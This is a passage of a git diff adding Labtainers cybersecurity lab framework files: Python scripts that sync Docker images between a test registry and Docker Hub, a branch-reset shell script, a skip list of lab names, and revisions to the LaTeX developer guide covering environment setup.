dest_registry): + with_registry = '%s/%s' % (source_registry, image) + cmd = 'docker pull %s' % with_registry + print(cmd) + os.system(cmd) + cmd = 'docker tag %s/%s %s/%s' % (source_registry, image, dest_registry, image) + print(cmd) + os.system(cmd) + cmd = 'docker push %s/%s' % (dest_registry, image) + print(cmd) + os.system(cmd) + +def checkDates(image, source_reg, dest_reg, no_copy, lab, logger): + dest_created, dest_user, dest_version, tag, base = InspectLocalReg.inspectLocal(image, logger, dest_reg, no_pull=True) + + if dest_created is not None: + with_reg = '%s/%s' % (source_reg, image) + source_created, source_user, source_version, tag, base = InspectLocalReg.inspectLocal(image, logger, source_reg, no_pull=True) + if source_created != dest_created: + print('DIFFERENT: %s:%s source created/version %s/%s destination: %s/%s' % (lab, image, source_created, + source_version, dest_created, dest_version)) + logger.debug('DIFFERENT: %s:%s source created/version %s/%s destination: %s/%s' % (lab, image, source_created, + source_version, dest_created, dest_version)) + if not no_copy: + pull_push(image, source_reg, dest_reg) + else: + print('%s not in %s, would add it' % (image, dest_reg)) + if not no_copy: + pull_push(image, source_reg, dest_reg) + +def doLab(lab_dir, lab, role, source_reg, dest_reg, logger, no_copy): + ''' use dockerfiles to determine the set of containers ''' + print('Lab: %s No_copy %r' % (lab, no_copy)) + docker_dir = os.path.join(lab_dir, lab, 'dockerfiles') + if not os.path.isdir(docker_dir): + return + df_list = [f for f in os.listdir(docker_dir) if os.path.isfile(os.path.join(docker_dir, f))] + for df in df_list: + if df.endswith('.swp'): + continue + try: + parts = df.split('.') + image = '%s.%s.%s' % (parts[1], parts[2], role) + container = parts[2] + except: + print('could not get image from %s' % df); + continue + checkDates(image, source_reg, dest_reg, no_copy, lab, logger) + +def doBases(source_registry, dest_registry, no_copy): + print('Comparing base images in %s to %s, and replacing content of %s if different' % (dest_registry, source_registry, dest_registry)) + base_names = LabtainerBase.getBaseList() + for base in base_names: + with_registry = '%s/%s' % (source_registry, base) + print(base) + source_created, local_user = LocalBase.inspectLocal(base, lgr, source_registry) + dest_created, local_user = LocalBase.inspectLocal(base, lgr, dest_registry) + if source_created != dest_created: + print('Difference in %s, source: %s destination: %s' % (base, source_created, dest_created)) + if not no_copy: + pull_push(base, source_registry, dest_registry) + + +def updateRegistry(source_registry, dest_registry, lgr, lab, no_copy, quiet=False): + + labdir = os.path.join(os.getenv('LABTAINER_DIR'), 'labs') + if lab is not None: + doLab(labdir, lab, 'student', source_registry, dest_registry, lgr, no_copy) + else: + if not quiet: + msg = 'Will modify registry %s to match %s. Continue? (y/n)' % (dest_registry, source_registry) + response = input(msg) + if response.lower() != 'y': + print('Exiting') + exit(0) + grader = 'labtainer.grader' + checkDates(grader, source_registry, dest_registry, no_copy, 'grader', lgr) + + doBases(source_registry, dest_registry, no_copy) + skip = [] + with open('skip-labs') as fh: + for line in fh: + f = os.path.basename(line).strip() + #print('will skip [%s]' % f) + skip.append(f) + + mycwd = os.getcwd() + os.chdir(labdir) + cmd = 'git ls-files ./ | cut -d/ -f1 | uniq' + child = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) + output = child.communicate() + lab_list = output[0].decode('utf-8').strip().splitlines() + os.chdir(mycwd) + for lab in sorted(lab_list): + lab = lab.strip() + if lab not in skip: + doLab(labdir, lab, 'student', source_registry, dest_registry, lgr, no_copy) + +if __name__ == '__main__': + parser = argparse.ArgumentParser(description='Compare a source registry with a destination registry, and update the destination so they match') + parser.add_argument('-n', '--no_copy', action='store_true', default=False, help='Do not modify registry, just report differences') + parser.add_argument('-l', '--lab', action='store', help='only check this lab') + parser.add_argument('-q', '--quiet', action='store_true', default=False, help='Do not prompt for confirmation.') + args = parser.parse_args() + + config_file = os.path.join(os.getenv('LABTAINER_DIR'), 'config', 'labtainer.config') + labtainer_config = ParseLabtainerConfig.ParseLabtainerConfig(config_file, None) + lgr = LabtainerLogging.LabtainerLogging("refresh_branch.log", 'none', config_file) + + ''' source is the premaster mirror ''' + source_registry = labtainer_config.test_registry + branch, dest_registry = registry.getBranchRegistry() + + if dest_registry is None: + print('No registry found for branch %s' % branch) + exit(1) + updateRegistry(source_registry, dest_registry, lgr, args.lab, args.no_copy, args.quiet) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/refresh_mirror.py b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/refresh_mirror.py new file mode 100755 index 000000000..a61dd83f7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/refresh_mirror.py @@ -0,0 +1,301 @@ +#!/usr/bin/env python3 +''' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. +''' +import sys +import os +import argparse +import subprocess +sys.path.append('../scripts/labtainer-student/bin') +import RemoteBase +import LocalBase +import InspectLocalReg +import InspectRemoteReg +import LabtainerLogging +import ParseLabtainerConfig +import LabtainerBase +import datetime +import calendar +from dateutil import parser +from dateutil.parser import parse +import time + +''' +Update the Docker Hub registry to match what is in the registry named in the +labtainer.config file. Includes an option to go the other direct for use in +cases where the premaster registry becomes corrupt. +''' +def pull_push(image, remote_registry, local_registry): + with_registry = '%s/%s' % (remote_registry, image) + cmd = 'docker pull %s' % with_registry + print(cmd) + os.system(cmd) + cmd = 'docker tag %s/%s %s/%s' % (remote_registry, image, local_registry, image) + print(cmd) + os.system(cmd) + cmd = 'docker push %s/%s' % (local_registry, image) + print(cmd) + os.system(cmd) + +def refreshLab(labdir, lab, role, remote_reg, local_reg, logger, no_copy): + ''' force local to match remote ''' + logger.debug('Refresh containers for lab %s' % lab) + docker_dir = os.path.join(labdir, lab, 'dockerfiles') + if not os.path.isdir(docker_dir): + logger.debug('No docker file for %s, bail' % lab) + return + + df_list = [f for f in os.listdir(docker_dir) if os.path.isfile(os.path.join(docker_dir, f))] + for df in df_list: + if df.endswith('.swp'): + continue + try: + parts = df.split('.') + image = '%s.%s.%s' % (parts[1], parts[2], role) + container = parts[2] + except: + print('could not get image from %s' % df); + continue + local_created, local_user, local_version, tag, base = InspectLocalReg.inspectLocal(image, logger, local_reg, no_pull=True) + logger.debug('%s %s' % (image, local_created)) + + with_reg = '%s/%s' % (remote_reg, image) + remote_created, remote_user, remote_version, tag = InspectRemoteReg.inspectRemote(with_reg, logger, no_pull=True) + logger.debug('%s %s' % (with_reg, remote_created)) + if remote_created is not None: + if local_created != remote_created: + print('DIFFERENT: %s:%s local created/version %s/%s remote: %s/%s' % (lab, container, local_created, + local_version, remote_created, remote_version)) + logger.debug('DIFFERENT: %s:%s local created/version %s/%s remote: %s/%s' % (lab, container, local_created, + local_version, remote_created, remote_version)) + if not no_copy: + pull_push(image, remote_reg, local_reg) + else: + logger.debug('refreshLab, no diff for %s' % image) + else: + print('ERROR, no remote info for image %s' % image) + exit(1) + +def updateLab(labdir, lab, role, remote_reg, local_reg, logger, no_copy, release_date): + ''' push local lab containers to remote, i.e., as part of a release ''' + docker_dir = os.path.join(labdir, lab, 'dockerfiles') + if not os.path.isdir(docker_dir): + return + + df_list = [f for f in os.listdir(docker_dir) if os.path.isfile(os.path.join(docker_dir, f))] + for df in df_list: + if df.endswith('.swp'): + continue + try: + parts = df.split('.') + image = '%s.%s.%s' % (parts[1], parts[2], role) + container = parts[2] + except: + print('could not get image from %s' % df); + continue + local_created, local_user, local_version, tag, base = InspectLocalReg.inspectLocal(image, logger, local_reg, no_pull=True) + + x=parse(local_created) + image_date = calendar.timegm(x.timetuple()) + #print('%s' % image) + #print('\timage ts %s' % image_date) + #print('\trelease ts %s' % release_date) + + if image_date < release_date: + #print('image %s local: %s prior to release: %s' % (image, image_date, release_date)) + continue + else: + print('image %s local: %s NOT prior to release: %s WOULD check remote' % (image, image_date, release_date)) + + if local_created is not None: + with_reg = '%s/%s' % (remote_reg, image) + remote_created, remote_user, remote_version, tag = InspectRemoteReg.inspectRemote(with_reg, logger, no_pull=True) + if local_created != remote_created: + print('DIFFERENT: %s:%s local created/version %s/%s remote: %s/%s' % (lab, container, local_created, + local_version, remote_created, remote_version)) + logger.debug('DIFFERENT: %s:%s local created/version %s/%s remote: %s/%s' % (lab, container, local_created, + local_version, remote_created, remote_version)) + if not no_copy: + pull_push(image, local_reg, remote_reg) + else: + logger.debug('updateLab, no diff for %s' % image) + else: + print('ERROR, no local info for image %s' % image) + exit(1) + + + +def doUpdateOrRefresh(local_registry, remote_registry, args, lgr): + ''' either push local images to remote registry (an update, which is the default), or pull remote images into local registry (refresh). ''' + if not args.quiet and not args.no_copy: + if not args.refresh: + msg = 'The will push images from the %s registry to the %s registry. Continue? (y/n)' % (local_registry, remote_registry) + else: + msg = 'The will push images from the %s registry to the %s registry. Continue? (y/n)' % (remote_registry, local_registry) + confirm = str(input(msg)).lower().strip() + if confirm != 'y': + print('aborting') + exit(1) + + if not args.refresh and not args.no_copy: + os.system('docker login') + + ldir = os.getenv('LABTAINER_DIR') + if ldir is None: + print('LABTAINER_DIR not defined.') + exit(1) + labdir = os.path.join(ldir, 'labs') + + homedir = os.getenv('HOME') + release_file=os.path.join(homedir, 'labtainerRelease', 'latest_refresh') + if not os.path.isfile(release_file): + lgr.error('No release file found at %s, create that file to skip dockerhub queries.' % release_file) + exit(1) + release_date = None + with open(release_file) as fh: + for line in fh: + pass + try: + release_date = time.mktime(datetime.datetime.strptime(line.strip(), '%m/%d/%Y %H:%M:%S').timetuple()) + except: + print('Error parsing times in %s' % release_file) + exit(1) + release_string = time.strftime('%m/%d/%Y %H:%M:%S', time.gmtime(release_date)) + lgr.debug('Release date found: %s' % release_string) + + if args.lab is not None: + if not args.refresh: + updateLab(labdir, args.lab, 'student', remote_registry, local_registry, lgr, args.no_copy, release_date) + else: + refreshLab(labdir, args.lab, 'student', remote_registry, local_registry, lgr, args.no_copy) + else: + + lgr.debug('Do all images') + grader = 'labtainer.grader' + local_created, local_user, local_version, tag, base = InspectLocalReg.inspectLocal(grader, lgr, local_registry) + + if local_created is not None: + x=parse(local_created) + image_date = calendar.timegm(x.timetuple()) + + if image_date > release_date: + print('gradelab local: %s NOT prior to release: %s WOULD check remote' % (image_date, release_date)) + with_reg = '%s/%s' % (remote_registry, grader) + remote_created, remote_user, remote_version, tag = InspectRemoteReg.inspectRemote(with_reg, lgr, no_pull=True) + lgr.debug('%s local: %s remote: %s' % (grader, local_created, remote_created)) + if local_created != remote_created: + print('DIFFERENT: %s local created %s remote: %s' % (grader, local_created, remote_created)) + if not args.no_copy: + if not args.refresh: + pull_push(grader, local_registry, remote_registry) + else: + pull_push(grader, remote_registry, local_registry) + else: + print('No %s image on docker hub!' % grader) + lgr.debug('No %s image on docker hub!' % grader) + exit(1) + + skip = [] + with open('skip-labs') as fh: + for line in fh: + f = os.path.basename(line).strip() + print('will skip [%s]' % f) + skip.append(f) + + #lab_list = os.listdir(labdir) + mycwd = os.getcwd() + os.chdir(labdir) + cmd = 'git ls-files ./ | cut -d/ -f1 | uniq' + child = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) + output = child.communicate() + lab_list = output[0].decode('utf-8').strip().splitlines() + os.chdir(mycwd) + #lab_list = [x[0] for x in os.walk(labdir)] + for lab in sorted(lab_list): + if lab not in skip: + if args.start is None or lab >= args.start: + if not args.refresh: + updateLab(labdir, lab, 'student', remote_registry, local_registry, lgr, args.no_copy, release_date) + else: + refreshLab(labdir, lab, 'student', remote_registry, local_registry, lgr, args.no_copy) + + if not args.no_copy: + with open(release_file, 'a') as fh: + ct = datetime.datetime.now() + ts = ct.strftime('%m/%d/%Y %H:%M:%S') + fh.write(ts+'\n') + if not args.refresh: + print('Comparing base images in %s to %s, and replacing content of %s if different' % (local_registry, remote_registry, remote_registry)) + else: + print('Comparing base images in %s to %s, and replacing content of %s if different' % (local_registry, remote_registry, local_registry)) + ''' + base_names = LabtainerBase.getBaseList() + for base in base_names: + with_registry = '%s/%s' % (remote_registry, base) + print(base) + remote_created, remote_user = RemoteBase.inspectRemote(with_registry, lgr) + local_created, local_user = LocalBase.inspectLocal(base, lgr, local_registry) + if remote_created != local_created: + print('Difference in %s, local: %s remote: %s' % (base, local_created, remote_created)) + if not args.no_copy: + if not args.refresh: + pull_push(base, local_registry, remote_registry) + else: + pull_push(base, remote_registry, local_registry) + headless_images = ['labtainer.master.base', 'labtainer.master.headless'] + for base in headless_images: + with_registry = '%s/%s' % (remote_registry, base) + print(base) + remote_created, remote_user = RemoteBase.inspectRemote(with_registry, lgr) + local_created, local_user = LocalBase.inspectLocal(base, lgr, local_registry) + if remote_created != local_created: + print('Difference in %s, local: %s remote: %s' % (base, local_created, remote_created)) + if not args.no_copy: + if not args.refresh: + pull_push(base, local_registry, remote_registry) + else: + pull_push(base, remote_registry, local_registry) + ''' + +if __name__ == '__main__': + parser = argparse.ArgumentParser(description='Update the remote (Docker Hub) registry to match the local test registry (premaster).') + parser.add_argument('-n', '--no_copy', action='store_true', default=False, help='Do not modify registry, just report differences') + parser.add_argument('-r', '--refresh', action='store_true', default=False, help='Force mirror to match remote') + parser.add_argument('-q', '--quiet', action='store_true', default=False, help='Do not prompt for confirmation') + parser.add_argument('-l', '--lab', action='store', help='only check this lab') + parser.add_argument('-s', '--start', action='store', help='Start with this lab (Docker rate limits!)') + args = parser.parse_args() + + config_file = '../config/labtainer.config' + labtainer_config = ParseLabtainerConfig.ParseLabtainerConfig(config_file, None) + lgr = LabtainerLogging.LabtainerLogging("/tmp/refresh_mirror.log", 'none', config_file) + + local_registry = labtainer_config.test_registry + remote_registry = labtainer_config.default_registry + doUpdateOrRefresh(local_registry, remote_registry, args, lgr) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/release/README.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/release/README.txt new file mode 100644 index 000000000..6af59a1c1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/release/README.txt @@ -0,0 +1,3 @@ +Temporary directory resulting from botched change in distribution strategy. +Had used github large files. Moving instead to github releases. This "update" +is just the update-add.sh script that will download from the proper url. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/release/labtainer.tar b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/release/labtainer.tar new file mode 100644 index 000000000..49a128970 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/release/labtainer.tar @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:19b851d0ead7f2639c23002d5b8e5a0539e6f52c5c4f50a7f51e2a6da578f3b3 +size 10240 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/reset_premaster.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/reset_premaster.sh new file mode 100755 index 000000000..aa35e89bc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/reset_premaster.sh @@ -0,0 +1,15 @@ +#!/bin/bash +# +# Revert the premaster branch to match master, and force +# the premaster registry to match DockerHub images. +# +branch=$(git rev-parse --abbrev-ref HEAD) +git checkout master +git push -d origin premaster +git branch -D premaster +git checkout -b premaster +git checkout $branch +# +# echo now refresh the mirror (premaster registry) to match GitHub +# +./refresh_mirror.py -r diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/retag_all.py b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/retag_all.py index 7594fb244..02b99127f 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/retag_all.py +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/retag_all.py @@ -1,4 +1,33 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 +''' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. +''' import os import sys import argparse @@ -36,7 +65,7 @@ def do_lab(lab_dir, lab, role, registry): print('could not get image from %s' % df); continue cmd = './relabel.sh %s %s %s %s %s' % (registry, framework_version , image, image_base, base_id) - print cmd + #print cmd os.system(cmd) def main(): diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/skip-labs b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/skip-labs index 82050624d..d22c2d055 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/skip-labs +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/distrib/skip-labs @@ -13,3 +13,12 @@ labtainer/trunk/labs/centos-log labtainer/trunk/labs/dhcp-test labtainer/trunk/labs/xlab labtainer/trunk/labs/softplc +labtainer/trunk/labs/iptables +labtainer/trunk/labs/grfics +labtainer/trunk/labs/usbtest +labtainer/trunk/labs/ida +labtainer/trunk/labs/centossix +labtainer/trunk/labs/routing-basics2 +labtainer/trunk/labs/shellbasics +labtainer/trunk/labs/ldaptst +labtainer/trunk/labs/mariadbtst diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/Makefile index a06cd457a..861ea16f4 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/Makefile +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/Makefile @@ -1,6 +1,7 @@ +all: development.pdf development.pdf: development.tex - latex development + pdflatex development pdflatex development clean: rm -fr auto - rm -fr development.aux development.pdf + rm -fr *.aux *.pdf *.dvi *.log *.ps *.toc diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/compat.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/compat.tex index e0d1b408b..0fe6e7f58 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/compat.tex +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/compat.tex @@ -1,5 +1,7 @@ Note on backward compatibility +SUPERCEEDED. Retain only for history. + A user may easily get a new container image that requires framework script support not present in the user's environment, e.g., has not yet done an update-labtainer.sh. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/dev.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/dev.tex deleted file mode 100644 index f58cde9d2..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/dev.tex +++ /dev/null @@ -1,93 +0,0 @@ -The framework has not yet been adapted to use Linux package managers. -Currently, scripts are run from a workspace directory and python -paths are managed relatively between scripts. - -Student scripts, e.g., start.py, run from the trunk/scripts/labtainer-student directory. -That directory also contains the labutils.py, which contains most of the framework -functions. - -When a student container is first started "docker exec" is used -to run parameterize.sh on the container. - -That script also invokes hookBash.sh, which adds the bash -sdtin/stout capturing hook, and adds the startup.sh call -into the .profile. - -The startup.sh scripts differ between instructor and student. The latter -displays instructions.txt. The former runs grading. -The startup.sh uses a lock to control which -terminal displays the instructions or grading. In practice instruction -display and the running of the instructor.py script is done by -an xterm that explicitly runs the startup.sh directly, and thus -the startup.sh invoked by profile.sh typically never does anything. -HOWEVER... the startup.sh invoked by student will source a student_startup.sh if present. - -Regression testing of grading functions is performed by labtainer-instructor/regress.py. -Expected results are stored in the labtainer/testsets directory. - -\section{Developer Software Prerequisits} -\begin {itemize} -\item Subversion -\item Latex (texlive-full) -\end {itemize} - - -\section{Getting Labtainers from Subversion} -svn co https://tor.ern.nps.edu/svn/proj/labtainer -Change directory to trunk/setup-scripts and run ./build-docs.sh to build the PDF lab -manuals so that you can reference the manuals while you test or otherwise reference -existing labs. (Please follow the lab manual and report discrepancies!) -Then run ./pull-all.sh to pull all the baseline images (so that your running of -existing labs is more akin to what students and instructors do so we can better test that). - -\section{Testing and Running Existing Labs} -There are situations where you will run an existing lab, e.g., to test it, or to -observe some example. When running labs, please refer to the lab manuals -so that they get reivewed and tested by different people. Also, please first delete -the lab using trunk/setup\_scripts/removelab.sh to ensure that you are running the latest -version of the published lab. If you find the lab to be broken, e.g., missing a file, please -attempt to run "rebuild.py" on the lab. Report these findings to the lab author. And always -run removelab.sh after you have run an existing lab via rebuild.py. Again, the goal is to -force ourselves to run the distributed labs unless we have specific reasons to do otherwise. - - -\section{Automation and Distributions} -The mkdist.sh script runs on a Linux VM hosted on windows, and creates the distribution tar -and copies it into a shared folder. From that folder, it is copied to the -\\my.nps.edu@SSL\DavWWWRoot\webdav\c30-staging\document\_library" and then "Publish to Live" is -performed on the Liferay site. -Two prepackaged VMs are maintained: one for VirtualBox, and one for VMWare. Each include -their respective guest additions. The VMs are maintained on a Linux system using command line -utilities, e.g., VBoxManage. The VMs are rigged to update labtainers, including a pull of -baseline images, on each boot until the first lab is commenced. Scripts named "export*" are -used to created the appliance files. The scripts re-import into test images, which must be -manually tested. The WinSCP script pushes new applicance images to the CyberCIEGE download -directory on the C3O web server. (Wine and WinSCP must be installed on the Linux host that -manages the VMs. - -\section {Race condition on checklocal.sh output} -If an mynotify.py event causes an output from checklocal.py, that may conflict with -concurrent output from checklocal.py resulting from some program/script running. In -theory, the program/script should complete its run of checklocal before the program/script -actually gets to access the file that triggers a mynotify watch. So, the latter's output -to the timestamped file is appended. Further, the mynotify.py looks for an existing timestamped -file, and if not found, looks for one from the previous second. This hack is an attempt to -keep the outputs merged. It will fail if the access does not happen within a second of the -program start. See the acl lab. - -\section {installation sizes} -An initial install, including the base images, requires about 4GB. Installing a larger lab, -e.g., snort, requires an additional 1GB. Running bufoverflow added 22M. - -\section {temporal logic considerations} -When evaluating results from logfiles containing timestamps use FILE\_TS or FILE\_TS\_REGEX -to ensure you get timestamped values for only matching records. Reliance on goals.config to -matchany can result in timestamped results that don't corrolate to the desired record. - -\section {parameterizing the start.config} -Is difficult. The current parameterization features only affect containers, and leave no -persistent trail. Thus, several students could share a computer and, via "redo.py", each -perform that same lab with parameterization maintained for each student. There is only one -start.config per Labtainers installation. But... the start.config is only used during -docker create container. So that could be driven from a copy that is parameterized as needed? -Except, the parameterized values are available for assessment. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.pdf new file mode 100644 index 000000000..210afb3bf Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.tex index 231ec7124..a4d759bef 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.tex +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.tex @@ -7,11 +7,27 @@ \usepackage{enumitem} \usepackage[autostyle, english = american]{csquotes} \usepackage{courier} +\usepackage{graphicx} \usepackage{mdframed} +\usepackage{pdfpages} \begin{document} \begin{titlepage} -\title {Labtainer Framework Development Guide} -\maketitle +\centering +\vfill +\vspace*{4\baselineskip} +{\bfseries\Large +Labtainer Framework Development Guide\par +} +\vspace*{4\baselineskip} +{\bfseries +Fully provisioned cybersecurity labs\par +} +\vspace*{2\baselineskip} +\today +\vfill +%\includegraphics[natwidth=200, natheight=286]{labtainer5-sm.png} +\includegraphics[width=0.4\textwidth]{labtainer5-sm.png} +\vfill \vspace{2.0in} This document was created by United States Government employees at @@ -24,35 +40,66 @@ This document is in the public domain and is not subject to copyright. \newpage \section {Introduction} This document is intended for use by developers who maintain the -Labtainer framework. It does not address lab creation, which is +Labtainer framework. It is also applicable to lab designers who wish +to follow Labtainers configuration management and testing conventions for their labs. +It does not address the mechanics of lab creation, which are covered in the \textit {Labtainers Lab Designer User Guide}. \begin{flushleft} {\bf Note:} -The Labtainer framework is based in Linux and is accessed through the Linux Terminal. +The Labtainer framework is developed within and for Linux environments using the command line. \end{flushleft} +The procedures described herein assume development occurs on a Linux VM that itself is hosted on +a Linux platform using VirtualBox. That underlying Linux platform also hosts \textit{test VMs} that +will run regression tests. Other configurations are certainly possible, but they would require the +developer to potentially alter procedures and/or scripts. + +The VirtualBox product is used to to run Labtainer VMs for testing. Currently, tests are performed on +Ubuntu16 and Ubuntu18 VMs, the former tests backwards compatibility of the frameworks python3 support. + + +\subsection{Linux host installation} +The host platform should include VirtualBox (to host the Development VM and test VMs), and Docker, +(to host a set of test registries). The host platform should have a directory named SEED that will +be shared by each of the VMs. If the host is to publish distributions to the NPS website, then it should +have an ability to transfer files to +\begin{verbatim} +davs://nps.edu/webdav/c3o-staging/document_library/labtainers +\end{verbatim} + +\section{Development VM Installation} +This section describes installation of software on the development VM, which should have at least 150 GB +of disk. +\subsection{Developer Software Prerequisites} +Labtainers is primarily implemented using python3. The containers within a lab include python2 scripts that are +part of the framework, e.g., functions that collect student artifacts. The following packages are required on a +Linux distribution to support Labtainer framework development. The packages can be installed using the +{\tt setup\_scripts/dev-pkg.sh} script. -\section{Developer Software Prerequisites} \begin {itemize} \item {\bf git} \item {\bf make} \item {\bf g++} -\item {\bf Latex} (texlive-full) -\item {\bf Docker (Community Edition)} [See {\bf Docker Installation} Section] +\item {\bf Latex} (texlive-latex-base and texlive-latex-extra) +\item {\bf Docker (Community Edition)} [See {\bf Docker Installation} Section \ref{docker-install}] +\item {\bf pip3} {\tt apt-get install python3-pip} +\item {\bf dateutil} {\tt pip3 install py-dateutil} +\item {\bf xdotool} \end {itemize} -\section{Getting Labtainers from Github} -In the Linux Terminal change working directory into the directory you want to store Labtainers. +\subsection{Getting Labtainers from Github} + +In a Linux terminal, change the working directory into the directory you want to store Labtainers. \begin{flushleft} Run this in the terminal: \end{flushleft} \begin{center} {\tt git clone https://github.com/mfthomps/Labtainers.git} \end{center} -\section{Setting up the Development Environment} +\subsection{Setting up the Development Environment} \begin {itemize} \item Disable any auto-updates on your machine as this may interfere with 'apt-get' requests you may have during development. \item Modify your ~/.bashrc file. \begin{enumerate} - \item Add {\bf Labtainer\_DIR} as another global variable and set its value as the path to the {\tt /Labtainers} directory. + \item Add {\bf LABTAINER\_DIR} as an environment variable and set its value as the path to the {\tt /Labtainers} directory. \item Modify the \$PATH to include {\tt ./bin} and {\tt \$LABTAINER\_DIR/scripts/designer/bin}. \item In summary, your ~/.bashrc should include something like this: \lstset{basicstyle=\footnotesize\ttfamily, @@ -62,26 +109,32 @@ In the Linux Terminal change working directory into the directory you want to st language=bash} \begin{mdframed} \begin{lstlisting} +export LABTAINER_DIR=$HOME/Labtainers +export TEST_REGISTRY="YES" if [[ ":$PATH:" != *":./bin:"* ]]; then - export LABTAINER_DIR=$HOME/Labtainers export PATH="${PATH}:./bin:$LABTAINER_DIR/scripts/designer/bin" fi \end{lstlisting} \end{mdframed} - \item cd into \$LABTAINER\_DIR/setup\_scripts: - \begin{itemize} - \item Run pull-all.py to get all base docker images. - \item Run build-docs.sh to build the lab manuals for all labs. - \end{itemize} - \item cd into \$LABTAINER\_DIR/tool-src/capinout and run mkit.sh \end{enumerate} +\item cd into \$LABTAINER\_DIR/setup\_scripts: + \begin{itemize} + \item Run build-docs.sh to build the lab manuals for all labs. + \end{itemize} +\item cd into \$LABTAINER\_DIR/tool-src/capinout and run {\tt ./mkit.sh} +\item Add the vbox share group using {\tt 